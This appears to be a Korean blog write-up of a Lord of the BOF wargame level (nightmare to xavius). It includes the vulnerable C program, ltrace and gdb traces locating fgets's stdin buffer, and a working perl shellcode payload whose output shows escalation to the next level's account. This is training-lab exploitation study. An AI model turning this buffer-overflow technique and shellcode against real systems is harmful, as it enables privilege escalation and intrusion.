wargame/LOB Redhat

nightmare to xavius

Sanguine 2014. 5. 27. 14:02

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

        char *ret_addr;

 

        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);

 

        if(*(buffer+47) == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

 

        if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }

 

        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);                               //ret 들어있는 값을 ret_addr 복사

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave               //\xc9 어셈명령어로 leave 뜻함, FEBP기법을 체크함

                        if(*(ret_addr+1) == '\xc3'){    // ret                 //\xc3 어셈명령어로 ret 뜻함, recall ret기법을 체크함

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }

 

        // stack destroyer

        memset(buffer, 0, 44);                         //buffer + sfp 초기화

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));            //ret 이후~ 스택의 초기화 - 환경변수 ~ 찌꺼기 이용한 공격 방어

 

        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);           //공유라이브러리 기법 방어

}

 

 

 

 

fgets()는 들어온 스트링을 임시버퍼 -> 변수에 저장하면서,

임시버퍼에 내용을 지우지 않는 특성이 있거든요..

[출처] LOB level19 ( nightmare -> xavious )|작성자 kumik12

 

출처: <http://blog.naver.com/PostView.nhn?blogId=kumik12&logNo=120194427736&parentCategoryNo=&categoryNo=11&viewDate=&isShowPopularPosts=false&from=section>

 

 

 

ltrace 이용한 임시버퍼 색출…

[nightmare@localhost nightmare]$ ltrace -h

Usage: ltrace [option ...] [command [arg ...]]

Trace library calls of a given program.

 

  -d, --debug         print debugging info.

  -f                  follow forks.

  -i                  print instruction pointer at time of library call.

  -L                  do NOT display library calls.

  -S                  display system calls.

  -r                  print relative timestamps.

  -t, -tt, -ttt       print absolute timestamps.

  -C, --demangle      decode low-level symbol names into user-level names.

  -a, --align=COLUMN  align return values in a secific column.

  -s STRLEN           specify the maximum string size to print.

  -o, --output=FILE   write the trace output to that file.

  -u USERNAME         run command with the userid, groupid of username.

  -p PID              attach to the process with the process ID pid.

  -e expr             modify which events to trace.

  -h, --help          display this help and exit.

  -V, --version       output version information and exit.

 

Report bugs to Juan Cespedes <cespedes@debian.org>

[nightmare@localhost nightmare]$ ltrace -S ./xaviu1

SYS_brk(NULL)                                     = 0x08049a58

SYS_mmap(0xbffff890, 1, 0x40013868, 4096, 556)    = 0x40014000

SYS_open("/etc/ld.so.preload", 0, 010000234150)   = -2

SYS_open("/etc/ld.so.cache", 0, 010000234150)     = 3

SYS_fstat(3, 0xbffff6e0, 0x40013868, 0xbffff740, 3) = 0

SYS_mmap(0xbffff71c, 0xbffff6e0, 0x40013868, 0x400013d3, 3) = 0x40015000

SYS_close(3)                                      = 0

SYS_open("/lib/libc.so.6", 0, 010000234150)       = 3

SYS_fstat(3, 0xbffff638, 0x400143d0, 0xbffff760, 3) = 0

SYS_read(3, "\177ELF\001\001\001", 4096)          = 4096

SYS_mmap(0xbfffe5fc, 970752, 0x40013868, 0xbfffe614, 0xbffff7c8) = 0x40018000

SYS_mprotect(0x40105000, 30812, 0, 30812, 0x40105000) = 0

SYS_mmap(0xbfffe5fc, 16384, 0x40013868, 0x400143e0, 0xbffff7c8) = 0x40105000

SYS_mmap(0xbfffe5fc, 0, 0x40013868, 0x40109000, 0xbfffe62c) = 0x40109000

SYS_close(3)                                      = 0

SYS_mprotect(0x40018000, 970752, 3, 0x400143e0, 0x40018088) = 0

SYS_mprotect(0x40018000, 970752, 5, 0x40018000, 5) = 0

SYS_munmap(0x40015000, 12210)                     = 0

SYS_personality(0)                                = 0

SYS_getpid()                                      = 22532

__libc_start_main(0x08048714, 1, 0xbffffd54, 0x08048398, 0x0804885c <unfinished .

__register_frame_info(0x08049950, 0x08049a40, 0xbffffd14, 0x080483bd, 0x401081ec)

fgets( <unfinished ...>

SYS_197(0, 0xbffffb84, 0x40108d60, 0x401068c0, 0) = -38

SYS_fstat(0, 0xbffffb10, 0x40108d60, -1, 0)       = 0

SYS_mmap(0xbffffb60, 0xbffffb84, 0x401081ec, 1024, 1) = 0x40015000       //맵핑하는 실제주소  -> mmap 리턴값

SYS_ioctl(0, 21505, 0xbffffaf8, 0xbffffb30, 1)    = 0

SYS_read(0, aaaaaa

"aaaaaa\n", 1024)                     = 7                          //fgets 함수 안에서 입력을 받는 read 시스템콜

<... fgets resumed> "aaaaaa\n", 256, 0x401068c0)  = 0xbffffce0

printf("%s\n", "aaaaaa\n" <unfinished ...>

SYS_fstat(1, 0xbffff4b0, 0x40106820, 0x40106980, 1) = 0

SYS_mmap(0xbffff500, 0xbffff524, 0x401081ec, 1024, 1) = 0x40016000

SYS_ioctl(1, 21505, 0xbffff498, 0xbffff4d0, 1)    = 0

SYS_write(1, "aaaaaa\n", 7aaaaaa

)                       = 7

SYS_write(1, "\n", 1

)                             = 1

<... printf resumed> )                            = 8

memcpy(0xbffffcdc, "\313\t\003@", 4)              = 0xbffffcdc

memcmp(0x400309cb, 0x08048902, 2, 0x400309cb, 0x61616161) = -1

memcmp(0x400309cc, 0x08048902, 2, 0x400309cc, 0x61616161) = 1

memcmp(0x400309cd, 0x08048902, 2, 0x400309cd, 0x61616161) = -1

memcmp(0x400309ce, 0x08048902, 2, 0x400309ce, 0x61616161) = 1

memcmp(0x400309cf, 0x08048902, 2, 0x400309cf, 0x61616161) = 1

memcmp(0x400309d0, 0x08048902, 2, 0x400309d0, 0x61616161) = 1

memcmp(0x400309d1, 0x08048902, 2, 0x400309d1, 0x61616161) = 0

memset(0xbffffce0, '\000', 44)                    = 0xbffffce0

memset(0xbffffd10, '\000', 751)                   = 0xbffffd10

memset(0xbffff128, '\000', 2960)                  = 0xbffff128

__deregister_frame_info(0x08049950, 0xbffffcf0, 0x08048871, 0x401081ec, 0xbffffd0

SYS_munmap(0x40016000, 4096)                      = 0

SYS_exit(-1073745624)                             = <void>

+++ exited (status 40) +++

[nightmare@localhost nightmare]$ gdb -q xaviu1

(gdb) set disassembly-flavor intel

(gdb) b *main+26

Breakpoint 1 at 0x804872e

(gdb) r

Starting program: /home/nightmare/xaviu1

aaaaaa

 

Breakpoint 1, 0x804872e in main ()

(gdb) x/4x 0x40015000    //디버깅 결과 임시버퍼 확인

0x40015000:     0x61616161      0x000a6161      0x00000000      0x00000000

(gdb) quit

The program is running.  Exit anyway? (y or n) y

 

 

payload 작성

fgets 쉘코드를 넘겨주면, 스택에 존재하는 쉘코드는 사라지지만, fgets 이용하는 임시버퍼 상의 쉘코드는 계속 남아있게 된다.

[nop*28][shellcode(16byte)][ret(0x40015001)]

 

ret 주소의 마지막이 \x00(null) 되면 안되기 때문에 nopslide 어딘가를 준다.

 

 

공격

fgets 때문에 파이프와 cat 이용해 perl 스크립트를 넘겨준다.

 

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x01\x50\x01\x40"';cat)|./xavius

 

릱릱릱릱릱릱릱릱릱릱릱릱릱릱몽?P1픐멘?P?P@

 

id

uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=5

my-pass

euid = 519

throw me away